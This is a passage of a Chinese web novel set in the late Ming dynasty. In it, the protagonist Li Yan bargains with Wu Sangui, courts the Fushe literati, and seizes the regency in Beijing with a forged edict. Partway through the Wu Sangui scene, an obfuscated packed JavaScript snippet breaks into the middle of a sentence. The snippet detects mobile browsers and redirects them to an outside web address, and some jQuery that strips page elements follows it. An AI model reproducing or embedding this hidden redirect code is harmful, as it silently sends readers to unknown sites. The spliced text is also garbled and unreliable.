关宁军中队的四百轻骑兵分两翼，试图迂回侧击。但朝廷军两翼早有准备——长枪手结阵，枪尖如林；刀盾手掩护，弓弩手抛射箭矢。 轻骑兵的弓箭在百步外威力有限，而朝廷军的火枪在百五十步仍有杀伤。几个回合下来，轻骑兵也“伤亡”惨重。 吴三桂坐不住了，起身喝道：“夷丁突骑，上！” 最后的王牌出动。这三百蒙古、女真骑兵确实悍勇，他们不冲正面，而是绕到朝廷军后方，试图袭扰。 但孙传庭早有预案。后阵刀盾手变圆阵，盾牌向外，长枪从缝隙刺出，硬生生挡住了突骑冲击。同时，火枪手分出一队，专门点射突骑中的头目。 一刻钟后，演习结束。 关宁军“伤亡”过半，朝廷军“伤亡”不到三百。胜负已分。 校场上寂静无声。关宁军将士面色难堪，他们从未输得这么惨，还是输给一向瞧不起的“京营老爷兵”。 吴三桂脸色铁青，但很快挤出一丝笑容：“李太保练得好兵！孙将军指挥若定，末将佩服！” “平西伯承让。”李炎起身，“关宁军久镇边关，劳苦功高。今日演习，只为切磋，取长补短。皇上常说，关宁军是大明柱石，还望平西伯继续为朝廷效力。” 这话给足了台阶。吴三桂面色稍霁，抱拳道：“末将定不负皇上厚望！” 演武结束，各自回营。但所有人都知道，经此一战，吴三桂对朝廷的态度，恐怕要重新掂量了。 --- 午时·意外的盟友 李炎刚回客房，亲兵来报：“大人，有客求见，说是……宁武关来的。” “请。” 来人是个三十多岁的文士，风尘仆仆，但举止从容。他进门后深深一揖：“学生陈子龙，拜见李太保。” 陈子龙？李炎心中一震。这位可是明末文坛领袖，复社创始人之一，后来抗清殉国的义士。他怎么来了？ “陈先生请起。”李炎扶起他，“先生不在江南，怎么到大同来了？” “为天下事而来。”陈子龙正色道，“学生受复社同仁所托，特来拜会太保，陈说江南士林对时局之见。” 复社！这是明末最大的文人结社，成员多达两千，遍布江南，影响力极大。历史上，复社在崇祯朝一度左右朝政，南明时期更是举足轻重。 “先生请讲。” 陈子龙从怀中取出一卷文书：“这是复社三百同仁联名上疏，请太保转呈皇上。主要内容有三：其一，请朝廷整顿吏治，严惩贪腐；其二，请减轻江南赋税，与民休息；其三，请……重用贤能，共度时艰。” 李炎接过，快速浏览。文书措辞委婉，但意思明确——江南士绅对朝廷不满，要求改革，否则可能“人心离散”。 “陈先生，”李炎放下文书，“江南赋税重，本官知道。但如今国难当头，处处用钱，若减江南赋税，军饷何来？” “太保明鉴。”陈子龙道，“江南赋税重，不是重在本额，是重在加派、重在胥吏盘剥。若能清丈田亩，整顿税吏，使豪强纳粮、小民减负，则国库未必减收，民心却可挽回。” 这话与李炎的想法不谋而合。 “先生所言极是。但改革税制，触动利益太大……” “所以需要强人推动。”陈子龙直视李炎，“太保在临清整顿漕运，雷厉风行，江南士林多有赞誉。若太保愿主持税制改革，复社同仁愿为后盾。” 李炎心动了。复社虽然都是文人，但能量巨大——他们控制着舆论，影响着科举，背后是江南庞大的士绅集团。若能争取他们的支持，改革就成功了一半。 “陈先生，复社想要什么？”李炎直接问。 陈子龙沉吟片刻：“要三样东西。第一，江南巡抚、布政使等要职，需用‘清流’；第二，科举取士，要公平，不能任由阉党余孽把持；第三……东林党案要平反。” 东林党案是天启年间魏忠贤制造的冤案，牵连数百官员。崇祯即位后虽铲除阉党，但未正式为东林党平反，这是江南士绅的心结。 “前两条好说。”李炎道，“第三条……需要时机。” “学生明白。”陈子龙点头，“只要太保承诺推动，复社就支持太保。另外……”他压低声音，“学生来时，听说南京某些勋贵，正在密谋大事。太保要小心。” “什么大事？” “有人想……拥立新君。”陈子龙一字一句，“若北京有变，他们可能在南京另立朝廷。” 果然！李炎心往下沉。历史上南明内斗不休，根源就在于此——崇祯还没死，就有人想另立中央了。 “是谁在主导？” “魏国公徐弘基、诚意伯刘孔昭，还有南京兵部尚书史可法……也被拉拢了。”陈子龙顿了顿，“不过史尚书态度暧昧，似在观望。” 史可法也卷进去了？李炎心中一紧。这位他寄予厚望的能臣，难道也要站队？ “陈先生为何告诉我这些？” “因为学生认为，大明只有一个朝廷，那就是北京朝廷。”陈子龙肃然道，“分裂，则亡国更快。太保是实干之臣，若能与江南士林联手，稳住大局，或可挽狂澜于既倒。” 李炎看着这位历史上殉国的义士，心中涌起敬意。“陈先生深明大义。本官承诺，必尽力推动改革，也必维护朝廷一统。但需要先生助我——联络江南正直之士，稳住局面，莫让某些人铤而走险。” “学生义不容辞！”陈子龙深深一揖。 送走陈子龙，李炎立即给史可法写信，言辞恳切又隐含警告：“江南乃朝廷根本，万不可生变。若有异动，则天下崩解，无人可独善其身。” 他必须稳住史可法，也必须尽快结束大同之行，回京应对更大的危机。 --- 未时·吴三桂的筹码 下午，吴三桂主动来拜访，态度比之前恭敬许多。 “李太保，末将思前想后，决定全力支持朝廷。”他开门见山，“两万兵马，三日后开赴宁武关。另外，末将愿捐银五万两，助朝廷剿贼。” 突然的转变，必有图谋。李炎不动声色：“平西伯忠心可嘉。不知有何要求？” 吴三桂笑了：“太保快人快语。末将确有几点请求：第一，关宁军移镇宣府后，宣府、大同两镇兵马，需由末将统一节制；第二，朝廷拨付的三十万两饷银，要一次付清；第三……”他顿了顿，“末将长子吴应熊，年已十六，想送入京中，在太保身边做个亲兵，学习历练。” 三条要求，条条厉害。 第一条是要兵权——宣大两镇是京师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121223|195859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屏障，若都归吴三桂，他就有十多万军队，成为北疆军阀。 第二条是要钱——一次付清三十万两，朝廷压力巨大。 第三条最毒——送儿子当人质？表面是表忠心，实则是安插眼线，甚至可能想通过儿子攀附李炎，在朝廷布局。 李炎沉吟片刻，缓缓道：“平西伯，第一条，宣府总兵王承胤是皇上亲信，动他不妥。不如这样——设‘宣大总督’，由平西伯担任，节制两镇防务，但人事、粮饷仍归兵部。如何？” 这是折中方案，给了吴三桂名义上的统帅权，但实际权力有限。 吴三桂想了想，点头：“可以。” “第二条，”李炎继续，“三十万两一次付清，户部确有困难。不如分三期：十万两现付，十万两三个月后，十万两击退闯贼后。但本官可作保，绝不拖欠。” 吴三桂皱眉，但最终也同意了。 “第三条，”李炎看着吴三桂，“令郎入京是好事，但跟本官不妥——本官常在地方奔波，危险重重。不如让他进国子监读书，将来科举入仕，光耀门楣。平西伯以为如何？” 这是婉拒。吴三桂眼中闪过一丝失望，但很快笑道：“太保考虑周全，那就依太保。” 两人又商议细节，最后达成协议：吴三桂出兵两万助守宁武关，朝廷封其为宣大总督，拨饷二十万两（先付十万），其子吴应熊入国子监。 表面看，朝廷付出不小，但换来山西暂时稳定，还能调动吴三桂对抗闯军，值了。 送走吴三桂，孙传庭低声道：“大人，吴三桂要这么多，会不会……” “会。”李炎肯定，“他野心不止于此。但现在，我们需要他。稳住他，就是为朝廷争取时间。” “时间用来做什么？” “练兵，筹饷，整顿内政。”李炎望向南方，“然后……收拾那些想另立朝廷的人。” --- 申时·密信与密使 傍晚，两份密信同时送到李炎手中。 一份来自北京，王承恩亲笔：“皇上病重，已三日未朝。太子年幼，朝中暗流涌动。周皇后请太保速归。” 另一份来自南京，史可法回信：“江南确有不稳，但下官必竭力维持。太保勿忧。另，闻太保与复社接触，甚好。陈子龙可信任。” 两封信，两个消息，都让人心惊。 崇祯病重！这是最坏的消息。若崇祯有个三长两短，太子才十岁，主少国疑，那些野心家必然跳出来。 而史可法的回信虽然表态支持，但语气中透露出力不从心。江南的局面，恐怕比陈子龙说的更糟。 “准备一下，明日启程回京。”李炎下令。 “大同这边……” “交给王朴。”李炎道，“王朴虽然能力一般，但听话。有吴三桂在宣府盯着，他不敢乱来。另外，让王铁柱留下，协助王朴整顿军纪——他在山西有根基，能起作用。” “那宁武关那边？” “周遇吉是名将，加上吴三桂的两万援军，守住三个月应该没问题。”李炎铺开地图，“三个月后……就看北京能不能稳住，江南能不能安抚了。” 他提笔给崇祯写密折，详细汇报大同之行成果，并暗示“江南有变，臣请南巡”。实际上，他是想稳住江南后，再回京应对朝局。 折子写完，用火漆封好，派锦衣卫八百里加急送回。 然后，他召来陈子龙：“陈先生，我要你立即回江南，做三件事：第一，联络复社同仁，准备一份《江南士民吁请改革疏》，声势要大；第二，暗中收集魏国公等人图谋不轨的证据；第三，散布消息，就说皇上已准备南巡，改革在即。” 陈子龙眼睛亮了：“太保要逼他们收手？” “对。”李炎冷声道，“皇上南巡的消息一出，那些想另立朝廷的人就得掂量——是迎接皇上，还是对抗皇上？迎接，他们的谋划落空；对抗，就是谋逆，天下共诛之。” “好计！”陈子龙佩服，“学生这就去办！” “还有，”李炎取出一枚玉佩，“这是我的信物。你到南京后，去见史可法，告诉他：稳住江南，就是救大明。我李炎，必不负他。” “学生明白！” 陈子龙连夜出发。李炎又安排孙传庭，明日率五百精兵护送自己回京，另外五百留在大同，由王铁柱统领，作为钉子。 一切安排妥当，已是亥时。 春梅端来宵夜，见李炎还在看地图，轻声道：“大人，您已经三天没好好休息了。” “等回京再休息。”李炎揉了揉太阳穴，“春梅，你弟弟有消息了吗？” 春梅眼圈一红：“派去保定的人回来说……没找到。可能……可能不在了。” 李炎沉默，拍了拍她的肩：“只要有一线希望，就不要放弃。回京后，我让锦衣卫继续找。” “谢大人。”春梅擦泪，“大人，您说……大明能好吗？” 能好吗？李炎也问过自己无数次。 他看着烛火，轻声道：“只要还有人愿意为它拼命，它就能好。春梅，你知道吗？这个国家就像这盏灯，风大的时候，火苗会摇晃，甚至会熄灭。但只要我们不断添油、不断护着，它就能一直亮下去。” 春梅似懂非懂，但坚定点头：“奴婢信大人。” 信。这个字，此刻重如千钧。 多少人把希望寄托在他身上？崇祯、周皇后、史可法、陈子龙、宋应星，还有千千万万不知名的百姓。 他不能倒，不能退。 --- 四月十六·别大同 清晨，李炎车队出城。 吴三桂率文武官员送至城外十里，礼数周全。临别时，他拉着李炎的手，言辞恳切：“太保放心，末将必守好宣大，不负朝廷。” “有平西伯在，本官放心。”李炎拱手，“愿早日剿灭闯贼，共庆太平。” 车队启程，向南而行。 走出很远，李炎回头望去。大同城在晨雾中渐渐模糊，如一头蛰伏的巨兽。 这一趟，他稳住了吴三桂，争取了复社，埋下了钉子。但更大的风暴，正在前方等着他。 北京，崇祯病重，朝局动荡。 南京，有人想另立朝廷，分裂在即。 而李自成的大军，正在向山西逼近。 三线危机，如何破局？ 李炎闭上眼睛，深吸一口气。再睁开时，眼中只剩决绝。 “传令：加快速度，七日内，必须赶回北京！” “是！” 马蹄声急，尘土飞扬。 车队如箭，射向那个决定大明命运的都城。 而李炎知道，真正的考验，才刚刚开始。 【第十一章完】 12. 疾驰回京 四月十六·涿州驿 暮色四合时，李炎车队抵达涿州驿，距北京仅一百二十里。按常理明日午后即可入城，但孙传庭建议在涿州过夜。 “大人，探马来报，前面三十里处的松林店，有不明兵马活动。”孙传庭神色凝重，“约三百骑，装备精良，不像是普通盗匪。” “谁的人？” “身份不明，但旗号打的是‘张’字。”孙传庭顿了顿，“涿州附近，只有张缙彦的残部可能活动——就是那个投降闯贼的通州总兵。” 张缙彦！李炎记起此人。北京解围后，张缙彦率残部流窜京畿，时而假扮官军劫掠，时而投靠闯军袭扰，是个麻烦。 “他们敢劫钦差车队？” “未必敢明着劫，但若扮作土匪夜袭……”孙传庭没说完，意思已明。 李炎沉思。他的车队有五百精兵，不怕三百流寇。但若发生冲突，难免伤亡，而且会耽误行程。 “分兵。”他果断决定，“你带四百人，护送车队继续前行，今夜赶到良乡驿驻扎，那里城墙坚固可守。我带一百人，换便服走小路，连夜入京。” “太危险了！”孙传庭反对，“大人，您身份贵重，万一……” “正因为我身份贵重，才要尽快入京。”李炎打断，“皇上病重，朝局不稳，早一刻到京，就多一分把握。放心，我有办法。” 他让春梅换上男装，又挑了王铁柱等十个最精悍的亲兵，全部换作商队打扮。车队则大张旗鼓继续南下，吸引注意。 临行前，孙传庭将一面小旗交给王铁柱：“这是响箭信号，遇险即放，我率队来援。” “将军放心！”王铁柱郑重接过。 --- 戌时·夜行小路 涿州西北有条废弛的官道，年久失修，但可通马。李炎一行十二人，快马加鞭，在暮色中疾驰。 月黑风高，沿途村庄寂静无声，偶有犬吠，更显凄清。王铁柱在前探路，春梅紧跟在李炎身侧，其余亲兵前后护卫。 行了约一个时辰，前方出现岔路。王铁柱下马查看蹄印，脸色微变：“大人，有新蹄印，不超过一个时辰，往东去了——东边是去松林店的方向。” “多少人？” “至少五十骑。” 李炎心中一凛。难道行踪暴露了？不可能，他们出发极隐秘。 “继续走，加快速度。” 又行十里，路边林中忽然响起哨声。紧接着，数十支火把亮起，将道路照得通明。一队骑兵拦住去路，为首的是个独眼汉子，提着一柄鬼头刀。 “此山是我开，此树是我栽！”独眼汉高喊，但喊得不甚熟练，显然不是专业土匪。 李炎勒马，扫视对方。约六十人，衣甲混杂，有明军号衣，也有民服，但个个身形健壮，马匹精良。这不是土匪，是兵！ “各位好汉，我们是南边的药材商人，路过宝地，行个方便。”李炎拱手，暗中给王铁柱使眼色。 “药材商人？”独眼汉打量他们，“这兵荒马乱的，做什么药材生意？我看你们……像是官军！” 话音未落，他身后一个瘦子凑近低语几句。独眼汉脸色一变，厉声道：“拿下！一个不许放走！” 骑兵们围上来。王铁柱大喝：“保护东家！” 十名亲兵拔刀，护住李炎。虽然人少，但个个是百战精锐，结阵迎敌，竟一时不落下风。 李炎从马鞍袋中取出手枪——还剩四发子弹。他瞄准独眼汉，但对方在人群中，不易命中。 混战中，春梅忽然惊呼：“大人小心！” 一支冷箭从侧面林中射来，直取李炎后心。千钧一发之际，王铁柱扑过来用身体挡住，箭射中他左肩。 “铁柱！” “我没事！”王铁柱咬牙折断箭杆，“大人，他们有埋伏，快走！” 李炎环顾，只见两侧林中又涌出数十人，显然早有准备。对方至少百人，硬拼必败。 “撤！向西撤！” 众人边战边退。但对方穷追不舍，箭矢如雨。又一名亲兵中箭落马。 危急时刻，前方传来马蹄声。一队黑衣骑兵如鬼魅般出现，约二十人，马衔枚，蹄裹布，悄无声息。为首的是个蒙面人，手持双刀，冲入敌阵如虎入羊群。 蒙面人身手极为了得，双刀翻飞，所过之处人仰马翻。他带来的黑衣骑兵也个个悍勇，配合默契，很快就将追兵杀散。 独眼汉见势不妙，掉头就跑。蒙面人也不追，勒马来到李炎面前，掀开面巾——竟是夜枭！ “大人受惊了。”夜枭下马行礼，“锦衣卫密探一直在暗中护卫。” 李炎松了口气：“你们怎么知道这条路？” “属下奉曹公公之命，在京畿各要道布防，接应大人。”夜枭低声道，“曹公公有话：京城局势有变，请大人务必小心。” “什么变化？” “回京路上细说，此地不宜久留。” --- 亥时·荒野废庙 众人退到一座荒废的山神庙暂避。夜枭派出警戒，这才详细汇报： “三日前，皇上病情加重，呕血昏迷。太医说……恐难熬过五月。” 李炎心一沉：“太子呢？” “太子由周皇后亲自照看，坤宁宫已戒严。但朝中暗流涌动——首辅魏藻德频频召集官员密议，五军都督府几位勋贵也活动频繁。” “他们在谋划什么？” “还不清楚，但可能与……拥立有关。”夜枭声音更低，“有人提议，若皇上不豫，当立福王为帝。” 福王！李炎瞳孔一缩。福王朱由崧是万历皇帝之孙，按序当立。但崇祯有太子，按制太子继位，除非…… “太子年幼，主少国疑。”夜枭道，“魏藻德等人认为，国难当头，当立长君。而且福王在南京，江南士绅支持者众。” 果然！北京这边也有人想拥立福王，与南京呼应。一旦崇祯驾崩，大明可能出现两个朝廷——北京拥太子，南京拥福王，内战将起。 “皇上清醒时可有旨意？” “皇上最后一次清醒是昨日，召王承恩密谈半个时辰。谈了什么，只有王公公知道。”夜枭顿了顿，“但王公公让属下转告大人：速归，迟则生变。” 李炎握紧拳头。时间，他需要时间！只要崇祯还活着，太子就是名正言顺的继承人。但若崇祯驾崩，那些野心家就会跳出来。 “京城防卫如何？” “京营由李国桢掌控，还算稳定。但五城兵马司、锦衣卫内部都有异动。”夜枭道，“另外，曹公公查到，魏藻德与宫里某位大太监有联系。” “谁？” “司礼监掌印太监，王之心。” 王之心！李炎知道此人，崇祯初年得宠，后因贪腐被冷落，但仍在司礼监任职。若他与魏藻德勾结，内外呼应，确实麻烦。 “还有件事。”夜枭取出一封密信，“这是曹公公让转交的。” 李炎就着火光拆开，是曹化淳亲笔： “李太保台鉴：宫中风云诡谲，有人欲行废立。皇后孤立，太子危矣。老奴已布暗棋，但需太保速归定鼎。另，江南有信至，言魏国公等欲迎福王，史可法周旋其间，态度不明。万望慎之。” 信很短，但字字惊心。 李炎将信烧掉，对夜枭道：“你带路，我们连夜入京。不走城门，走密道。” “密道？” “武英殿后的那条。”李炎记得曹化淳说过的密道，“你熟悉吗？” 夜枭点头：“属下知道入口。但出口在阜成门外，入城后到皇宫还有一段路，恐有危险。” “顾不得了。”李炎起身，“必须在明日早朝前，见到王承恩，了解宫中实情。” --- 子时·密道惊魂 阜成门外三里，破庙佛像后。 密道入口被枯藤遮掩，夜枭移开石板，露出黑洞洞的入口。里面阴冷潮湿，有浓重的霉味。 “大人，跟紧我。”夜枭点燃火折子，率先进入。 李炎让春梅紧跟，王铁柱断后。密道很窄，仅容一人躬身通过，石阶湿滑，壁上渗水。走了约一刻钟，前方出现岔路。 “左边通往西苑，右边通往武英殿。”夜枭低声道，“走右边。” 又行半刻钟，前方隐约有光亮。夜枭示意噤声，悄悄靠近——光亮是从一道暗门缝隙透出的，暗门外是武英殿后殿的夹壁。 夜枭轻叩暗门三长两短。片刻，暗门悄无声息地开了条缝，一张苍老的脸露出来——正是曹化淳。 “李太保！可算到了！”曹化淳又惊又喜，将众人拉进夹壁。这里是个狭小空间，仅容五六人站立。 “曹公公，宫中情况如何？”李炎急问。 “不妙。”曹化淳脸色憔悴，“皇上昏迷不醒，太医束手。魏藻德联合六部九卿，明日早朝要议‘立长君’之事。皇后在坤宁宫以死相逼，才暂时压住。但若皇上……唉。” “太子呢？” “在坤宁宫，由老奴心腹太监守护。但五军都督府的兵已暗中调动，若真有事变，坤宁宫守不住。” 李炎心中急转。必须立刻掌握主动权。 “曹公公，你能调动的有多少人？” “锦衣卫还有三百心腹，宫中侍卫有二百。”曹化淳道，“但魏藻德那边，有五城兵马司三千人，还有王之心控制的司礼监、御马监部分太监。” 兵力悬殊。但李炎有张王牌——京营。 “你派人密召李国桢，让他带一千精兵入宫，控制午门、东华门、西华门。记住，要秘密行动，不可惊动五城兵马司。” “一千人入宫，动静太大……” “就说奉旨换防。”李炎道，“皇上病重，加强宫中守卫，合情合理。魏藻德若质疑，让他拿圣旨来对。” 曹化淳眼睛一亮：“好计！老奴这就去办。” “等等。”李炎又道，“你再去坤宁宫，请皇后下一道懿旨：命太子监国，李炎、王承恩辅政。懿旨要盖皇后宝玺，多抄几份，备用。” “太子监国……”曹化淳迟疑，“太子才十岁，恐难服众。” “所以要辅政大臣。”李炎道，“王承恩代表内廷，我代表外朝。只要懿旨一出，魏藻德等人的‘立长君’就名不正言不顺。” 曹化淳深深看了李炎一眼：“李太保，您这是……要行霍光、张居正之事啊。” 霍光废立，张居正辅政，都是权臣之举。但此刻，李炎别无选择。 “非常时期，当行非常之事。”李炎正色道，“曹公公，我李炎若有异心，天诛地灭。但现在，必须稳住朝局，否则大明必亡。” 曹化淳重重点头：“老奴信您。这就去办。” --- 丑时·坤宁宫 曹化淳带着李炎，从夹壁密道直通坤宁宫后殿。这里戒备森严，二十名太监持械守卫，见到曹化淳才放行。 周皇后在寝殿内，穿着素服，未施粉黛，眼窝深陷，显然多日未眠。见李炎来，她急步上前：“李爱卿！你可回来了！” “臣参见皇后娘娘。”李炎行礼，“娘娘保重凤体。” “本宫还保重什么？”周皇后泪如雨下，“皇上昏迷，太子年幼，那些大臣……要立福王！他们这是要逼死我们母子啊！” “娘娘放心，有臣在，无人敢动太子。”李炎沉声道，“但需要娘娘下一道懿旨。” 他说明计划。周皇后毫不犹豫：“好！本宫这就写！” 懿旨很快拟好：因皇上病重，命太子朱慈烺监国，特命兵部尚书、太子太保李炎，司礼监秉笔太监王承恩为辅政大臣，共理朝政。在皇上康复前，一切军政要务，由辅政大臣代行。 盖上皇后宝玺，又抄录五份。 “曹公公，一份送内阁备案，一份送五军都督府，一份送京营，一份你留存，一份我带着。”李炎分配，“记住，要光明正大送去，让所有人都知道。” “老奴明白。” 曹化淳匆匆离去。李炎又对周皇后道：“娘娘，请您和太子移驾乾清宫。” “乾清宫？那是皇上寝宫……” “正因是皇上寝宫，才安全。”李炎解释，“坤宁宫太偏，一旦有事，救援不及。乾清宫靠近武英殿、文华殿，便于掌控。而且皇上在那里，娘娘和太子侍疾，名正言顺。” 周皇后想了想，点头同意。 太子朱慈烺被带来，十岁的孩子，穿着杏黄袍，脸上还带着稚气，但眼神清澈，有乃父之风。 “烺儿，这是李太保，以后你要听他的话。”周皇后嘱咐。 太子看着李炎，忽然问：“李太保，你能救父皇吗？” 李炎心中一酸，单膝跪地：“臣必竭尽全力。” --- 寅时·乾清宫 乾清宫内外戒备森严。李国桢已带一千京营精锐入宫，控制各门。王承恩在殿内侍奉崇祯，见李炎来，老泪纵横。 “李太保，您可算来了……” “王公公，皇上如何？” 王承恩摇头：“时昏时醒，醒时也说不了话。太医说，是积劳成疾，加上急火攻心，恐怕……” 李炎走到龙榻前。崇祯躺在那里，面色蜡黄，呼吸微弱，完全看不出是一国之君。这个三十三岁的皇帝，为大明耗尽了心血。 “皇上，臣李炎回来了。”李炎轻声说，“您放心，有臣在，大明不会乱，太子不会有事。” 崇祯眼皮动了动，似乎想睁眼，但最终没能睁开。一滴泪，从眼角滑落。 李炎心中大恸。这个历史上吊死煤山的悲剧皇帝，此刻就在他面前，生死一线。他改变了很多事，但改变不了崇祯的身体。 “王公公，从今日起，你我共担辅政之责。”李炎正色道，“我主外，你主内。朝中事务，我来应对；宫中安全，你负责。” “老奴遵命。”王承恩擦泪，“太保，魏藻德那边……” “天亮后，我来应付。” --- 卯时·晨钟惊变 晨钟敲响，百官陆续来到午门外。 按照惯例，皇上不朝时，由内阁在文华殿议政。但今日，午门紧闭，京营士兵持戟而立，气氛肃杀。 “怎么回事？”首辅魏藻德质问守门将领。 “奉皇后懿旨、辅政大臣令：今日朝会改在皇极殿，百官需经查验方可入宫。”将领朗声道。 “辅政大臣？”魏藻德脸色一变，“谁任辅政大臣？” “皇后懿旨：命太子监国，李炎太保、王承恩公公为辅政大臣。” 百官哗然。魏藻德更是大怒：“荒谬！太子年幼，岂可监国？李炎是何人，有何资格辅政？本官要见皇后！” “魏阁老稍安勿躁。”一个声音从门内传来。 午门缓缓开启，李炎穿着蟒袍玉带，在孙传庭及百名亲兵护卫下，大步走出。晨曦中，他身形挺拔，目光如电，扫过百官。 “李炎！”魏藻德指着他，“你假传懿旨，擅立辅政，是想学王莽、曹操吗？” “魏阁老慎言。”李炎平静道，“懿旨在此，皇后宝玺清晰可辨。太子监国，是皇上病重期间的权宜之计。至于辅政大臣……皇上早有密旨，命我与王公公在非常时期辅佐太子。怎么，魏阁老要抗旨？” 他举起一卷黄绫——那是昨夜曹化淳从崇祯寝宫找到的空白密旨，李炎填上了内容。虽然冒险，但此时只能硬撑。 魏藻德接过密旨细看，确是崇祯笔迹，玉玺也是真的。他脸色变幻，忽然道：“就算有密旨，也该由内阁、六部共议！你李炎一人独断，是何居心？” “魏阁老说得对。”李炎忽然笑了，“所以，今日皇极殿朝会，就是要共议国事。诸位大人，请——” 他侧身让路。百官面面相觑，最终在魏藻德带领下，进入皇宫。 皇极殿内，气氛凝重。 李炎坐在御阶下左侧首位——那是辅政大臣的位置。右侧是王承恩。御座空着，但设了太子座，朱慈烺穿着杏黄袍坐在上面，周皇后垂帘在后。 “参见太子殿下，皇后娘娘！”百官行礼。 礼毕，魏藻德率先发难：“太子殿下，老臣以为，国难当头，主少国疑，当立长君以安天下。福王贤明，又是神宗皇帝嫡孙，按序当立。请殿下以社稷为重，退位让贤！” 此言一出，满殿哗然。虽然不少人知道魏藻德的意图，但如此直接，还是震惊。 太子毕竟年幼，闻言脸色发白。周皇后在帘后急道：“魏藻德！你大胆！” 李炎缓缓起身：“魏阁老，你说立长君，是认为太子不堪大任？” “太子年幼，如何理政？”魏藻德昂首，“如今闯贼未灭，清虏未平，需英明长君主持大局！” “那依你看，谁能当此大任？”< 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这话很重。魏藻德脸色铁青：“王公公，口说无凭……” “有凭。”王承恩取出一卷手谕，“这是皇上亲笔，诸位可验看。” 手谕传阅，确实是崇祯笔迹：“太子慈烺，朕之嫡子，天命所归。李炎忠贞，王承恩勤勉，可辅太子。若有异心者，按谋逆论处。” 这是李炎昨夜让曹化淳仿写的——曹化淳伺候崇祯多年，模仿笔迹足以乱真。此刻拿出，正是时候。 魏藻德等人验看半晌，找不出破绽，哑口无言。 李炎趁机道：“诸位，如今国难当头，当团结一心，共御外敌。太子监国，我与王公公辅政，只是权宜之计。待皇上康复，自当还政。若有人执意分裂朝廷，休怪本官不客气！” 他拍了拍手。殿外涌入两百京营士兵，盔明甲亮，刀剑出鞘。 “李炎！你想干什么？”有官员惊呼。 “不想干什么。”李炎环视百官，“只是想告诉诸位：从今日起，朝中事务，由辅政大臣代行。凡阳奉阴违、结党营私、通敌卖国者——斩！” 杀气凛然。不少官员低下头，不敢对视。 魏藻德还想说什么，被身旁同僚拉住。形势比人强，李炎手握京营，又有“圣旨”“手谕”，硬碰只会吃亏。 “若无异议，今日朝会到此为止。”李炎宣布，“内阁、六部，各司其职。军国大事，每日申时至文华殿禀报。散朝！” 百官陆续退出。魏藻德走到门口，回头深深看了李炎一眼，眼神复杂。 李炎知道，这老狐狸不会善罢甘休。但至少，暂时稳住了局面。 --- 辰时·文华殿 朝会散后，李炎立即在文华殿召见心腹。 李国桢、孙传庭、曹化淳、王承恩，还有连夜赶来的宋应星——他是李炎特意召回的，改革不能停。 “诸位，局面暂时稳住，但危机远未解除。”李炎开门见山，“魏藻德等人不会死心，江南分裂势力仍在活动，闯贼、清虏虎视眈眈。我们必须抓紧时间，做几件大事。” 他部署任务： 一、李国桢继续掌控京营，同时整训新军，三个月内要练出三万可战之兵。 二、孙传庭组建“督战队”，监察各地军纪，凡纵兵抢掠、畏敌不前者，严惩不贷。 三、宋应星加快军器制造，特别是新式火枪、火炮。同时，着手设计“战车”——李炎提出了“装甲车”的雏形概念，虽然只是包铁板的马车，但用于平原作战仍有优势。 四、曹化淳、王承恩负责宫中安全，同时秘密调查魏藻德等人的罪证。 “还有江南。”李炎看向宋应星，“宋先生，你联系顾炎武、陈子龙，让他们在江南推动‘清丈田亩’试点。不要急，先选一两个县试行，积累经验。记住，重点是争取中小地主支持，孤立大地主。” “老朽明白。”宋应星点头，“只是……钱从哪来？改革需要钱，练兵需要钱，制造军器更需要钱。” 这是最现实的问题。崇祯的内帑早已掏空，国库空虚，加派又会激化矛盾。 李炎沉思片刻，忽然问：“诸位可知，京城那些勋贵、官员，家产有多少？” 众人一愣。曹化淳道：“老奴粗略估算，光是魏藻德，家产就不下百万两。其他勋贵，如成国公朱纯臣、英国公张世泽等，家产更巨。” “那就让他们出点血。”李炎眼中闪过冷光，“以‘助饷’为名，让勋贵、官员捐款。不白要，可以给虚衔、给褒奖。但若一毛不拔……就让锦衣卫查查他们的家产来源。” “这……”王承恩迟疑，“恐怕会激起反弹。” “反弹就弹压。”李炎断然道，“非常时期，当用非常手段。与其让百姓饿死造反，不如让这些蛀虫出出血。放心，我有分寸——先礼后兵，自愿为主，强迫为辅。” 他让曹化淳拟一份“助饷名单”，按家产多少定捐款额度，三日内完成。 “还有一事。”李炎看向孙传庭，“宁武关那边，周遇吉能守住吗？” “周总兵来信说，加上吴三桂的两万援军，守住三个月没问题。”孙传庭道，“但他担心粮草——山西今年歉收，军粮只够两个月。” 李炎在地图上寻找，手指停在天津卫：“从漕运调粮。临清漕仓还有存粮二十万石，调十万石经运河北上，到天津后陆运至山西。孙传庭，你亲自押运。” “末将领命！” “记住，”李炎叮嘱，“这批粮食关系到山西存亡，绝不能有失。我给你两千兵，沿途遇劫，格杀勿论。” “是！” 一切安排妥当，已是午时。 众人退下后，李炎独自站在文华殿窗前，望着宫墙外的天空。乌云压城，风雨欲来。 短短一天，他从大同疾驰回京，稳住了朝局，但代价是——他把自己推到了风口浪尖。辅政大臣，听起来权倾朝野，实则是站在火山口。多少人想把他拉下来？魏藻德、江南士绅、宫中太监，甚至……可能还有他信任的人。 但他没有退路。 “大人，该用膳了。”春梅端着食盒进来，简单的一饭一菜。 李炎坐下，忽然问：“春梅，你说我这么做，是对是错？” 春梅想了想，轻声道：“奴婢不懂大事。但奴婢知道，若没有大人，北京城早就破了，多少百姓会死。现在大人做这些，也是为了救更多人。所以……是对的。” 简单的话，却让李炎心中温暖。 是啊，对错重要吗？重要的是结果。他要救这个文明，救这些具体的人。为此，他不惜背负骂名，不惜双手染血。 “谢谢你，春梅。” 春梅脸一红，低头退下。 李炎吃完饭，重新摊开地图。接下来，他要面对的是三线作战：朝堂、江南、前线。每一线都不能输。 而最大的变数，是崇祯的病情。 若崇祯驾崩，太子年幼，那些野心家必然反扑。他必须在崇祯还活着的时候，建立足够的权威，掌控足够的实力。 时间，还是时间。 他提笔写信，给史可法、顾炎武、陈子龙各一封，言辞恳切又隐含威压：稳住江南，就是救大明；分裂，则玉石俱焚。 